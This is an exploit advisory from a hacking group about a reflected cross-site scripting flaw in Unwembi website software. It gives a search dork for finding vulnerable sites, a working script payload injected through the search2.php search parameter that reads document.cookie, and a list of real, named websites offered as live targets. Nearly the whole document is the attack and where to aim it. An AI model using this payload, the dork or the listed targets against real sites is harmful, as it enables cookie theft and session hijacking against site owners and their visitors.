####################################################################################### # # # Exploit Title : Unwembi Cross Site Scripting Vulnerabilitiy # # # # Author : Emperor-Team # # # # Discovered By : Am!r # # # # Home : http://Emperor-Team.Org # # # # Software Link : http://www.unwembi.co.za/ # # # # Security Risk : High # # # # Version : All Version # # # # Tested on : GNU/Linux Ubuntu - Windows Server - win7 # # # # Dork : "Website by Unwembi" # # # ####################################################################################### # # # Expl0iTs : # # # # [TarGeT]/search2.php?search="><script>alert(document.cookie)<%2Fscript>&sa=GO # # # ####################################################################################### # # # Demo: # # # # anc.org.za/search2.php?search=[Xss] # # # # ancyl.org.za/search.php?search=[Xss] # # # # # ####################################################################################### # # # SP TNX : Mr.F@RDIN . kalkal-hacking . Crim3R . H@DI . joker_s . AMIR ERROR # # # # hidden dagger . SopelBoy # # # #######################################################################################